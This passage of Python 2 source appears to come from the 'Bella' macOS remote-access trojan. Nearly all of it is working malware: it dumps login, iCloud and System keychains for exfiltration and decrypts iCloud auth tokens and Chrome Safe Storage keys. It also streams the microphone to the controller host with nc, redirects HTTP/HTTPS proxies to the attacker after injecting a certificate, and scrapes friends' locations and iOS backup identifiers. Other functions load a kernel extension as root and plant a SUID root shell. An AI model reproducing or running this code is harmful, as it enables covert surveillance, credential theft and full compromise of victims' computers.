734 for y in x["following"]: #we need to get contact information.
735 for z, v in y.items():
736 #do some cleanup
737 if z == "invitationAcceptedHandles":
738 v = v[0] #v is a list of contact information, we will grab just the first identifier
739 phoneList.append(v)
740 if z == "id":
741 v = v.replace("~", "=")
742 v = base64.b64decode(v)
743 dsidList.append(v)
744 zippedList = zip(dsidList, phoneList)
745 retString = ""
746 i = 0
747 try:
748 locations = x["locations"]
749 except KeyError:
750 send_msg('%sCould not find locations. Try again.\n' % red_minus, False)
751 return
752 for y in locations:
753 streetAddress, country, state, town, timeStamp = " " *5
754 dsid = y["id"].replace("~", "=")
755 dsid = base64.b64decode(dsid) #decode the base64 id, and find its corresponding one in the zippedList.
756 for g in zippedList:
757 if g[0] == dsid:
758 phoneNumber = g[1] #we should get this for every person. no errors if no phone number found.
759 for x in cardData:
760 for nums in x[1]:
761 if phoneNumber.replace("+1", "") in nums:
762 phoneNumber += " (%s)" % x[0][0]
763 for emails in x[2]:
764 if phoneNumber in emails:
765 phoneNumber += " (%s)" % x[0][0]
766 try:
767 timeStamp = y["location"]["timestamp"] / 1000
768 timeNow = time.time()
769 timeDelta = timeNow - timeStamp #time difference in seconds
770 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
771 hours, minutes = divmod(minutes, 60)
772 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
773 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0]) #split at decimal
774 except TypeError:
775 timeStamp = "Could not get last location time."
776
777 if not y["location"]: #once satisfied, all is good, return fxn will end
778 continue #go back to top of loop and re-run query
779
780 for z, v in y["location"]["address"].items(): #loop through address info
781 #counter of threes for pretty print...
782 if type(v) is list:
783 continue
784 if z == "streetAddress":
785 streetAddress = v
786 if z == "countryCode":
787 country = v
788 if z == "stateCode":
789 state = v
790 if z == "locality":
791 town = v
792
793 if streetAddress != " ": #in the event that we cant get a street address, dont print it to the final thing
794 send_msg("%s\n%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + streetAddress, town, state, country, "\033[0m" + timeStamp,"-----"), False)
795 else:
796 send_msg("%s\n%s, %s, %s\n%s\n%s\n" % ("\033[34m" + phoneNumber, "\033[92m" + town, state, country, "\033[0m" + timeStamp,"-----"), False)
797
798 i += 1
799 localToken = tokenRead()
800 if tokenRead() != False:
801 uDsid = tokenRead().split("\n")[0]
802 send_msg("\033[91mFound \033[93m[%s]\033[91m friends for %s!\033[0m\n" % (i, uDsid), False)
803 return
804
805def iCloud_auth_process(tokenOverride):
806 #this function will return a username and password combination, or a DSID and token combination, along with a code for which one is being used.
807 returnString = ""
808 token = ""
809 usingToken = False
810 localToken = tokenRead()
811
812 applePresent = applepwRead()
813
814 if isinstance(applePresent, str) and tokenOverride == False:
815 (username, password) = applepwRead().split(":") #just take the first account if there are multiple
816 usingToken = False
817
818 elif localToken != False: #means we have a token file.
819 try:
820 (username, password) = localToken.split("\n")[1].split(":")
821 usingToken = True
822 except Exception, e:
823 return (e, False, usingToken)
824 else: #means we have neither a token file, or apple creds
825 return ("No token found, no apple credentials found.\n", False, usingToken)
826
827 return (username, password, usingToken)
828
829def iCloud_storage_helper(dsid, authToken):
830 authCode = base64.b64encode("%s:%s" % (dsid, authToken))
831 tokens = tokenFactory(authCode)
832 send_msg('Getting iCloud information.\n', False)
833 try:
834 req = urllib2.Request("https://p04-quota.icloud.com/quotaservice/external/mac/%s/storageUsageDetails" % dsid) #this will have all tokens
835 req.add_header('Authorization', 'Basic %s' % authCode)
836 req.add_header('Content-Type', 'application/json')
837 resp = urllib2.urlopen(req)
838 storageData = resp.read()
839 except Exception as e:
840 send_msg("Slight error [%s]" % e, False)
841 resp_dict = json.loads(storageData)
842
843 for x in tokens[1]: #tokens[1] is the account information of the user
844 send_msg("%s\n\n" % x, False)
845
846 try:
847 for x in resp_dict["photo"]:
848 if x["libraryEnabled"]:
849 send_msg(underline + "iCloud Photo Library: Enabled" + endANSI + "\n", False)
850 send_msg("\tPhoto Count: %s\n" % x["photoCount"], False)
851 send_msg("\tVideo Count: %s\n" % x["videoCount"], False)
852 send_msg("\tiCloud Photo Library Size: %s.%s GB\n" % (str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4]), False)
853 else:
854 send_msg(underline + "iCloud Photo Library: Disabled" + endANSI + "\n", False)
855 except:
856 send_msg("iCloud Photo Library: Disabled\n", False)
857
858 i = 0
859 try:
860 z = resp_dict["backups"]
861 if len(z) == 0:
862 send_msg("\n%sNo iCloud Backups found%s\n\n" % (underline, endANSI), False)
863 else:
864 send_msg("%siCloud Backups:%s\n" % (underline, endANSI), False)
865 for x in resp_dict["backups"]:
866 i += 1
867 #make a little dictionary to get the pretty name of the device.
868 productTypes = {'iPhone3,1': 'iPhone 4 (GSM)', 'iPhone3,2': 'iPhone 4 (CDMA)', 'iPhone4,1': 'iPhone 4s', 'iPhone5,1': 'iPhone 5 (GSM)', 'iPhone5,2': 'iPhone 5 (CDMA)', 'iPhone5,3': 'iPhone 5c', 'iPhone6,2': 'iPhone 5s (UK)', 'iPhone7,1': 'iPhone 6 Plus', 'iPhone8,1': 'iPhone 6s', 'iPhone8,2': 'iPhone 6s Plus', 'iPhone6,1': 'iPhone 5s', 'iPhone7,2': 'iPhone 6'}
869 try:
870 iPhone_type = productTypes[x["productType"]]
871 except:
872 iPhone_type = x["productType"]
873 send_msg("\t[%s] %s %s | Size is %s.%s GB | Model: %s\n" % (i, x["name"], x["lastModifiedLocalized"], str(x["storageUsedInBytes"])[0], str(x["storageUsedInBytes"])[1:4], iPhone_type), False)
874 except Exception, e:
875 send_msg("Error checking backups.\n%s\n" % str(e), False)
876
877 if len(tokens[0]) > 1:
878 send_msg("%sTokens!%s\n" % (underline, endANSI), False)
879 send_msg("\tMMeAuth: %s%s%s\n" % (blue, tokens[0][0], endANSI), False)
880 send_msg("\tCloud Kit: %s%s%s\n" % (red, tokens[0][1], endANSI), False)
881 send_msg("\tFMF App: %s%s%s\n" % (yellow, tokens[0][2], endANSI), False)
882 send_msg("\tFMiP: %s%s%s\n" % (green, tokens[0][3], endANSI), False)
883 send_msg("\tFMF: %s%s%s\n" % (violet, tokens[0][4], endANSI), False)
884 send_msg('', True)
885 return
886
887def insomnia_load():
888 if "book" in get_model().lower():
889 if is_there_SUID_shell():
890 gen = payload_generator(readDB('insomnia', True)) #will return b64 zip
891 payload_tmp_path = '/'.join(gen.split('/')[:-1])
892 do_root('unzip %s -d %s' % (gen, payload_tmp_path))
893 (success, msg) = do_root("chown -R 0:0 %s/Insomnia.kext/" % payload_tmp_path)
894 if not success:
895 return "%sError changing kext ownership to root.\n%s" % (red_minus, msg)
896 (success, msg) = do_root("kextload %s/Insomnia.kext/" % payload_tmp_path)
897 if not success:
898 return "%sError loading kext.\n%s" % (red_minus, msg)
899 return "%sInsomnia successfully loaded.\n" % greenPlus
900 return "%sYou need a root shell to load Insomnia.\n" % red_minus
901 else:
902 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
903
904def insomnia_unload():
905 if "book" in get_model() or "Book" in get_model():
906 if is_there_SUID_shell():
907 (success, msg) = do_root("kextunload -b net.semaja2.kext.insomnia")
908 if not success:
909 return "%sError unloading kext.\n%s" % (red_minus, msg)
910 return "%sInsomnia successfully unloaded.\n" % greenPlus
911 return "%sYou need a root shell to load Insomnia.\n" % red_minus
912 else:
913 return "%sInsomnia does not work on non-MacBooks.\n" % blue_star
914
915def resetUIDandName(): #if we are root we want to update the variable accordingly
916 global bella_user, helper_location, bella_UID
917 if os.getuid() == 0:
918 bella_user = cur_GUI_user()
919 bella_UID = pwd.getpwnam(bella_user).pw_uid
920 helper_location = '/'.join(os.path.abspath(__file__).split('/')[:-1]) + '/'
921 return
922
923def initialize_socket():
924 basicInfo = ''
925 resetUIDandName()
926 os.chdir(os.path.expanduser('~'))
927
928 if not check_if_payloads():
929 print 'requesting payloads'
930 return 'payload_request_SBJ129' #request our payloads
931
932 if readDB('lastLogin') == False: #if it hasnt been set
933 updateDB('Never', 'lastLogin')
934
935 if not isinstance(get_model(), str): #if no model, put it in
936 output = check_output("sysctl hw.model")
937 if output[0]:
938 modelRaw = output[1].split(":")[1].replace("\n", "").replace(" ", "")
939 output = check_output("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' /System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist | grep marketingModel" % modelRaw)
940 if not output[0]:
941 model = 'Macintosh'
942 else:
943 model = output[1].split("=")[1][1:] #get everything after equal sign, and then remove first space.
944 updateDB(model, 'model')
945
946 if os.getuid() == 0:
947 basicInfo = 'ROOTED\n'
948
949 client_name = readDB('client_name')
950
951 if client_name == False:
952 output = check_output('scutil --get LocalHostName; echo %s; pwd; echo %s' % (get_bella_user(), readDB('lastLogin')))
953 else:
954 output = check_output('echo "%s"; echo "%s"; pwd; echo "%s"' % (client_name, get_bella_user(), readDB('lastLogin')))
955
956 if output[0]:
957 basicInfo += output[1]
958 else:
959 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
960
961 output = check_output('ps -p %s -o etime=' % bellaPID)
962 if output[0]:
963 basicInfo += output[1]
964 else:
965 return check_output("echo 'bareNeccesities'; scutil --get LocalHostName; whoami; pwd")[1]
966
967 updateDB(time.strftime("%a, %b %e %Y at %I:%M:%S %p"), 'lastLogin')
968 return basicInfo
969
970def iTunes_backup_looker():
971 backupPath = globber("/Users/*/Library/Application Support/MobileSync/Backup/*/Info.plist")
972 if len(backupPath) > 0:
973 backups = True
974 returnable = "%sLooking for backups! %s\n" % (blue_star, blue_star)
975 for z, y in enumerate(backupPath):
976 returnable += "\n----- Device " + str(z + 1) + " -----\n\n"
977 returnable += "Product Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Name\"' '%s'" % y).read().replace("\n", "")
978 returnable += "Product Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Product Version\"' '%s'" % y).read().replace("\n", "")
979 returnable += "Last Backup Date: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Last Backup Date\"' '%s'" % y).read().replace("\n", "")
980 returnable += "Device Name: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Device Name\"' '%s'" % y).read().replace("\n", "")
981 returnable += "Phone Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Phone Number\"' '%s'" % y).read().replace("\n", "")
982 returnable += "Serial Number: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Serial Number\"' '%s'" % y).read().replace("\n", "")
983 returnable += "IMEI/MEID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"IMEI\"' '%s'" % y).read().replace("\n", "")
984 returnable += "UDID: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Target Identifier\"' '%s'" % y).read().replace("\n", "")
985 returnable += "iTunes Version: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"iTunes Version\"' '%s'" % y).read().replace("\n", "")
986 #iTunesBackupString += "Installed Apps: %s\n" % os.popen("/usr/libexec/PlistBuddy -c 'Print :\"Installed Applications\"' '%s'" % y).read().replace("\n", "")
987 else:
988 backups = False
989 returnable = "%sNo local backups found %s\n" % (blue_star, blue_star)
990 return (returnable, backups, len(backupPath))
991
992def kill_pid(pid):
993 try:
994 os.kill(pid, 9)
995 return True
996 except OSError, e:
997 return False
998
999def keychain_download():
1000 try:
1001 serial = []
1002 for x in globber("/Users/*/Library/Keychains/login.keychain*"):
1003 #with open(x, 'rb') as content:
1004 content = protected_file_reader(x) #will return us permission acceptable file info
1005 user = x.split("/")[2]
1006 serial.append(pickle.dumps(['%s_login.keychain' % user, content]))
1007
1008 for iCloudKey in globber("/Users/*/Library/Keychains/*/keychain-2.db"):
1009 iCloudZip = StringIO.StringIO()
1010 joiner = '/'.join(iCloudKey.split("/")[:-1])
1011 for files in protected_file_lister(joiner):
1012 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
1013 subFile = os.path.join(joiner, files)
1014 content = protected_file_reader(subFile)
1015 zipped.writestr(files, content)
1016 with zipfile.ZipFile(iCloudZip, mode='a', compression=zipfile.ZIP_DEFLATED) as zipped:
1017 zipped.writestr(joiner.split("/")[-1], 'Keychain UUID')
1018 serial.append(pickle.dumps(["%s_iCloudKeychain.zip" % iCloudKey.split("/")[2], iCloudZip.getvalue()]))
1019 if is_there_SUID_shell():
1020 keys = protected_file_reader("/Library/Keychains/System.keychain")
1021 serial.append(pickle.dumps(["System.keychain", keys]))
1022 return 'keychain_download' + pickle.dumps(serial)
1023 except Exception, e:
1024 return (red_minus + "Error reading keychains.\n%s\n") % str(e)
1025
1026def mike_helper(payload_path):
1027 stream_port = 2897
1028 send_msg('%sOpening microphone.\n' % blue_star, False)
1029 pipe = subprocess.Popen('%s' % payload_path, stdout=subprocess.PIPE)
1030 subprocess_manager(pipe.pid, '/'.join(payload_path.split('/')[:-1]), 'Microphone') #keep track of mikepipe since it never closes, as well as payload path
1031 send_msg('%sOpened microphone [%s].\n' % (blue_star, pipe.pid), False)
1032 send_msg('%sOpening Stream.\n' % blue_star, False)
1033 stream = subprocess.Popen(('nc %s %s' % (host, stream_port)).split(), stdin=pipe.stdout, stdout=subprocess.PIPE)
1034 time.sleep(2) #give a few seconds to terminate if not running ...
1035 #stream.poll will be the exit code if it has exited, otherwise it will be None (so, None if we are connected)
1036 if stream.poll(): #if None, we are connected, see Else. If an integer, we have crashed.
1037 send_msg('%sListener could not be reached. Closing microphone.\n' % red_minus, False)
1038 if kill_pid(pipe.pid):
1039 send_msg('%sClosed microphone.\n' % blue_star, True)
1040 else:
1041 send_msg('%sError closing microphone with PID [%s].\n' % (red_minus, pipe.pid), True)
1042 else:
1043 send_msg('%sListener connected, microphone streaming.\n' % greenPlus, True)
1044 return 0
1045
1046def mitm_kill(interface, certsha1):
1047 if not is_there_SUID_shell():
1048 return "%sYou must have a root shell to stop MITM. See get_root.\n" % red_minus
1049
1050 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1051 if not x[0]:
1052 if x[2] == 8:
1053 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1054 send_msg(x[1], True)
1055 if "Enabled: No" in x[1]:
1056 send_msg("%s\033[4mAlready disabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1057 return
1058
1059 cert = cert_remove(certsha1)
1060 if 'Error' in cert:
1061 send_msg('ERROR REMOVING CERTIFICATE FROM KEYCHAIN. YOU SHOULD PERFORM MANUALLY.\n', False)
1062 send_msg(cert, False)
1063
1064 (success, msg) = do_root("networksetup -setwebproxy %s '' 0" % interface)
1065 if not success:
1066 send_msg("%sSetting [%s] HTTP proxy to null failed!\n" % (red_minus, interface), False)
1067 else:
1068 send_msg("%sSet [%s] HTTP proxy to null.\n" % (greenPlus, interface), False)
1069
1070 (success, msg) = do_root("networksetup -setsecurewebproxy %s '' 0" % interface)
1071 if not success:
1072 send_msg("%sSetting [%s] HTTPS proxy to null failed!\n" % (red_minus, interface), False)
1073 else:
1074 send_msg("%sSet [%s] HTTPS proxy to null.\n" % (greenPlus, interface), False)
1075
1076 (success, msg) = do_root("networksetup -setwebproxystate %s off" % interface)
1077 if not success:
1078 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1079 else:
1080 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1081
1082 (success, msg) = do_root("networksetup -setsecurewebproxystate %s off" % interface)
1083 if not success:
1084 send_msg("%sFailed to turn off [%s] HTTP proxy!\n" % (red_minus, interface), False)
1085 else:
1086 send_msg("%sTurned off [%s] HTTP proxy.\n" % (greenPlus, interface), False)
1087
1088 send_msg('', True)
1089 return 1
1090
1091def mitm_start(interface, cert):
1092 if not is_there_SUID_shell():
1093 send_msg("%sYou must have a root shell to start MITM. See get_root.\n" % red_minus, True)
1094 return
1095
1096 x = check_output("networksetup -getsecurewebproxy %s" % interface)
1097 if not x[0]:
1098 if x[2] == 8:
1099 send_msg("%sThe interface [%s] does not exist." % (red_minus, interface), True)
1100 send_msg(x[1], True)
1101 if "Enabled: Yes" in x[1]:
1102 send_msg("%s\033[4mAlready enabled!\033[0m %s\n%s" % (yellow_star, yellow_star, x[1]), True)
1103 send_msg('', True)
1104 return
1105
1106 cert = cert_inject(cert)
1107 if 'Error' in cert:
1108 send_msg(cert, True)
1109 send_msg('', True)
1110 return
1111 send_msg(cert, False)
1112
1113 (success, msg) = do_root("networksetup -setwebproxy %s %s 8081" % (interface, host))
1114 if not success:
1115 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1116 send_msg("%sRedirecting [%s] HTTP (80) to [%s:8081].\n" % (greenPlus, interface, host), False)
1117
1118 (success, msg) = do_root("networksetup -setsecurewebproxy %s %s 8081" % (interface, host))
1119 if not success:
1120 send_msg("%sRedirecting [%s] HTTPS (443) to [%s:8081] failed!\n" % (red_minus, interface, host), True)
1121 send_msg("%sRedirecting [%s] HTTP (443) to [%s:8081].\n" % (greenPlus, interface, host), False)
1122 send_msg("mitmReady", True)
1123 return
1124
1125def payload_generator(data):
1126 dirpath = tempfile.mkdtemp()
1127 with open("%s/americangirl" % dirpath, "wb") as content:
1128 content.write(data.decode('base64'))
1129 os.chmod("%s/americangirl" % dirpath, 0777) #set rw execute bits to 7 for ugw
1130 temp_file_list.append(dirpath)
1131 return '%s/americangirl' % dirpath
1132
1133def payload_cleaner():
1134 for x in temp_file_list:
1135 try:
1136 shutil.rmtree(x)
1137 #print 'Removed %s' % x
1138 temp_file_list.remove(x)
1139 except OSError as e:
1140 pass
1141 print e
1142 return
1143
1144def chainbreaker(kcpath, key, service, password=None):
1145 kcbreaker = readDB('chainbreaker', True)
1146 if not kcbreaker:
1147 return ("%sError reading chainbreaker from DB.\n" % red_minus, False)
1148 path = payload_generator(kcbreaker)
1149 try:
1150 if password:
1151 value = (subprocess.check_output("%s -f '%s' -p '%s' -s '%s'" % (path, kcpath, password, service), shell=True).replace('\n', ''), True)
1152 else:
1153 value = (subprocess.check_output("%s -f '%s' -k '%s' -s '%s'" % (path, kcpath, key, service), shell=True).replace('\n', ''), True)
1154 if '[!] ERROR: ' in value[0]:
1155 return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, value[0]), False)
1156 print repr(value[0])
1157 if value[0] == '':
1158 return ("No KC entry for %s." % service, False)
1159
1160 return value
1161 except Exception as e:
1162 return ("%sError decrypting %s with master key.\n\t%s" % (red_minus, service, e), False)
1163
1164def kciCloudHelper(iCloudKey):
1165 #this function is tailored to keychaindump. Takes an iCloud key, and returns tokens
1166 msg = base64.b64decode(iCloudKey)
1167 key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}"
1168 hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest()
1169 hexedKey = binascii.hexlify(hashed)
1170 IV = 16 * '0'
1171 mme_token_file = glob("/Users/%s/Library/Application Support/iCloud/Accounts/*" % get_bella_user()) #this doesnt need to be globber bc only current user's info can be decrypted
1172 for x in mme_token_file:
1173 try:
1174 int(x.split("/")[-1])
1175 mme_token_file = x
1176 except ValueError:
1177 continue
1178 send_msg("\t%sDecrypting token plist\n\t [%s]\n" % (blue_star, mme_token_file), False)
1179 decryptedBinary = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % (IV, hexedKey, mme_token_file), shell=True)
1180 from Foundation import NSData, NSPropertyListSerialization
1181 binToPlist = NSData.dataWithBytes_length_(decryptedBinary, len(decryptedBinary))
1182 token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(binToPlist, 0, None, None)[0]
1183 tokz = "[%s | %s]\n" % (token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"])
1184 tokz += "%s:%s\n" % (token_plist["appleAccountInfo"]["dsPrsID"], token_plist["tokens"]["mmeAuthToken"])
1185 return tokz
1186
1187def getKeychains():
1188 #will return the last modified keychain
1189 send_msg("%sFound the following keychains for [%s]:\n" % (yellow_star, get_bella_user()), False)
1190 kchains = glob("/Users/%s/Library/Keychains/login.keychain*" % get_bella_user())
1191 for x in kchains:
1192 send_msg("\t[%s]\n" % x, False)
1193 if len(kchains) == 0:
1194 send_msg("%sNo Keychains found for [%s].\n" % (yellow_star, get_bella_user()), True)
1195 return
1196 kchains.sort(key=os.path.getmtime)
1197 kchain = kchains[-1] #get the last modified one
1198 #for x in kchains:
1199 # if x.endswith('-db'):
1200 # kchain = x
1201 return kchain
1202
1203def bella_info():
1204 mainString = ""
1205 send_msg("%sGathering system information.\n" % yellow_star, False)
1206 systemVersion = str(platform.mac_ver()[0])
1207 send_msg("%sSystem version is %s.\n" % (blue_star, systemVersion), False)
1208 send_msg("%sShell location: [%s].\n" % (blue_star, get_bella_path()), False)
1209 send_msg(blue_star + get_model(), False)
1210 try:
1211 battery = subprocess.check_output("pmset -g batt", shell=True).decode('utf-8', 'replace').split('\t')[1].split(";")
1212 charging = battery[1].replace(" ", "")
1213 percentage = battery[0]
1214 if charging == "charging":
1215 send_msg("%sBattery: %s [Charging]\n" % (blue_star, percentage), False)
1216 else:
1217 send_msg("%sBattery: %s [Discharging]\n" % (blue_star, percentage), False)
1218 except:
1219 pass
1220
1221 if not systemVersion.startswith("10.12"):
1222 if systemVersion == "10.11.1" or systemVersion == "10.11.2" or systemVersion == "10.11.3" or not systemVersion.startswith("10.11"):
1223 if is_there_SUID_shell(): #normal user.
1224 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1225 else:
1226 send_msg("%sPrivilege escalation is possible!\n" % blue_star, False) #LPA possible, no need to display sudoers access info.. right?
1227 else:
1228 if os.getuid() == 0:
1229 send_msg("%sBella is running as root.\n" % greenPlus, False)
1230 elif is_there_SUID_shell():
1231 send_msg("%sHave root access via SUID shell. [use get_root to escalate]\n" % greenPlus, False)
1232 else:
1233 send_msg("%sNo root access via SUID shell.\n" % red_minus, False)
1234
1235 filevault = check_output("fdesetup status")
1236 if filevault[0]:
1237 if "On" in filevault[1]:
1238 send_msg(red_minus + filevault[1], False)
1239 else:
1240 send_msg(greenPlus + filevault[1], False)
1241
1242 if systemVersion.startswith("10.11") or systemVersion.startswith("10.12"):
1243 csrutil = subprocess.Popen(["csrutil status"], stdout=subprocess.PIPE, shell=True)
1244 (out, err) = csrutil.communicate()
1245 if "disabled" in out:
1246 send_msg(greenPlus + out, False)
1247 sipEnabled = False #SIP function exists, but is specifically and intentionally disabled! (enterprise environments likely have this config)
1248 if "enabled" in out:
1249 send_msg(red_minus + out, False)
1250 sipEnabled = True
1251 else:
1252 sipEnabled = False
1253
1254 kchain = getKeychains()
1255
1256 if not sipEnabled: #sipDisabled allows us to check like .1% of cases where user is on El Cap and has opted out of SIP
1257 if is_there_SUID_shell():
1258 kcpayload = readDB('keychaindump', True)
1259 if not kcpayload:
1260 send_msg("%sError reading KCDump payload from Bella Database.\n" % red_minus, False)
1261 else:
1262 kcpath = payload_generator(kcpayload)
1263 (success, msg) = do_root("%s '%s' | grep 'Found master key:'" % (kcpath, kchain)) # ??? Why doesnt this work for tim?
1264
1265 master_key = msg.replace("[+] Found master key: ", "").replace("\n", "")
1266 if success:
1267 send_msg(" Login keychain master key found for [%s]:\n\t[%s]\n" % (kchain.split("/")[-1], msg.replace("[+] Found master key: ", "").replace("\n", "")), False)
1268 if not readDB('mme_token'):
1269 send_msg("\t%sAttempting to generate iCloud Auth Keys.\n" % blue_star, False)
1270 iCloud = chainbreaker(kchain, master_key, 'iCloud')
1271 send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False)
1272 if iCloud[1]:
1273 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
1274 decrypted = kciCloudHelper(iCloud[0])
1275 if not decrypted:
1276 send_msg("\t%sError getting decrypted MMeAuthTokens with this key.\n" % red_minus, False)
1277 else:
1278 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
1279 updateDB(encrypt(decrypted), 'mme_token')
1280 send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False)
1281 if not readDB('chromeSS'):
1282 send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
1283 chrome = chainbreaker(kchain, master_key, 'Chrome Safe Storage')
1284 send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False)
1285 if chrome[1]:
1286 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
1287 updateDB(encrypt(chrome[0]), 'chromeSS')
1288 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
1289 else:
1290 send_msg("%sError finding %slogin%s master key for user [%s].\n\t%s\n" % (red_minus, bold, endANSI, get_bella_user(), msg), False)
1291 (success, msg) = do_root("%s '/Library/Keychains/System.keychain' | grep 'Found master key:'" % kcpath)
1292 if success:
1293 msg = msg.replace("[+] Found master key: ", "").replace("\n", "")
1294 if msg != '':
1295 send_msg("%sSystem keychain master key found:\n [%s]\n" % (greenPlus, msg), False)
1296 else:
1297 send_msg("%sCould not find %sSystem%s master key.\n" % (red_minus, bold, endANSI), False)
1298 payload_cleaner()
1299
1300 iTunesSearch = get_iTunes_accounts()
1301
1302 for x in iTunesSearch:
1303 if x[0]:
1304 send_msg("%siCloud account present [%s:%s]\n" % (greenPlus, x[2], x[1]), False)
1305 else:
1306 send_msg(red_minus + x[1], False)
1307
1308 iOSbackups = iTunes_backup_looker()
1309
1310 if iOSbackups[1]:
1311 send_msg("%siOS backups are present and ready to be processed. [%s]\n" % (greenPlus, iOSbackups[2]), False)
1312 else:
1313 send_msg("%sNo iOS backups are present.\n" % red_minus, False)
1314
1315 if os.access('/var/db/lockdown', os.X_OK): #if we can execute this path
1316 send_msg("%siOS lockdown files are present. [%s]\n" % (greenPlus, len(os.listdir("/var/db/lockdown")) - 1), False)
1317
1318 checkToken = tokenRead()
1319 if isinstance(checkToken, str):
1320 send_msg("%siCloud AuthToken: %s\n\t[%s]\n" % (yellow_star, checkToken.split('\n')[0], checkToken.split('\n')[1]), False)
1321
1322 checkChrome = chromeSSRead()
1323 if isinstance(checkChrome, str):
1324 send_msg("%sGoogle Chrome Safe Storage Key: \n\t[%s]\n" % (yellow_star, checkChrome), False)
1325
1326 checkLP = local_pw_read()
1327 try:
1328 (tempuser,tempass) = checkLP.split(":")
1329 if verifyPassword(tempuser,tempass):
1330 send_msg("%s%s's local account password is available.\n" % (yellow_star, checkLP.split(':')[0]), False) #get username
1331 if not readDB('mme_token'):
1332 send_msg("\t%sAttempting to generate iCloud Auth Keys with local password.\n" % blue_star, False)
1333 iCloud = chainbreaker(kchain, 0, 'iCloud', checkLP.split(':')[1])
1334 send_msg("\t%siCloud:\n\t [%s]\n" % (yellow_star, iCloud[0]), False)
1335 if iCloud[1]:
1336 send_msg("\t%sGot iCloud Key! Decrypting plist.\n" % yellow_star, False)
1337 decrypted = kciCloudHelper(iCloud[0])
1338 if not decrypted:
1339 send_msg("\t%sError getting decrypted MMeAuthTokens with local password.\n" % red_minus, False)
1340 else:
1341 send_msg("\t%sDecrypted. Updating Bella database.\n" % blue_star, False)
1342 updateDB(encrypt(decrypted), 'mme_token')
1343 send_msg("\t%sUpdated DB.\n\t --------------\n" % greenPlus, False)
1344 if not readDB('chromeSS'):
1345 send_msg("\t%sAttempting to generate Chrome Safe Storage Keys.\n" % blue_star, False)
1346 chrome = chainbreaker(kchain, 0, 'Chrome Safe Storage', checkLP.split(':')[1])
1347 send_msg("\t%sChrome:\n\t [%s]\n" % (yellow_star, chrome[0]), False)
1348 if chrome[1]:
1349 send_msg("\t%sGot Chrome Key! Updating Bella DB.\n" % yellow_star, False)
1350 updateDB(encrypt(chrome[0]), 'chromeSS')
1351 send_msg("\t%sUpdated DB.\n" % greenPlus, False)
1352 except AttributeError:
1353 pass
1354
1355 checkAP = applepwRead()
1356 if isinstance(checkAP, str):
1357 send_msg("%s%s's iCloud account password is available.\n" % (yellow_star, checkAP.split(':')[0]), False)
1358 send_msg('', True)
1359 return 1
1360
1361def recv_msg(sock):
1362 raw_msglen = recvaux(sock, 4, True) #get first four bytes of message, will be enough to represent length.
1363 if not raw_msglen:
1364 return None
1365 msglen = struct.unpack('>I', raw_msglen)[0] #convert this length into
1366 return recvaux(sock, msglen, False)
1367
1368def recvaux(sock, n, length):
1369 if length:
1370 return sock.recv(4) # send over first 4 bytes of socket ....
1371 data = ''
1372 while len(data) < n:
1373 packet = sock.recv(n - len(data))
1374 if not packet:
1375 return None
1376 data += packet
1377 return data #convert from serialized into normal.
1378
1379def make_SUID_root_binary(password, LPEpath):
1380 global ROOT_SHELL_PATH
1381 root_shell = readDB("root_shell", True)
1382 try:
1383 with open("/usr/local/roots", "w") as content:
1384 content.write(root_shell.decode('base64'))
1385 ROOT_SHELL_PATH = '/usr/local/roots'
1386 except IOError as e:
1387 if e.errno == 13:
1388 #for whatever reason we can write to /usr/local (domain environments typically)
1389 with open(os.environ['TMPDIR'] + 'roots', "w") as content:
1390 content.write(root_shell.decode('base64'))
1391 ROOT_SHELL_PATH = os.environ['TMPDIR'] + 'roots'
1392 else:
1393 raise IOError
1394 if not LPEpath: #use password
1395 (username, password) = password.split(':')
1396 try:
1397 subprocess.check_output("echo %s | sudo -S ls" % password, shell=True) #this will return no error if successfull
1398 except Exception as e:
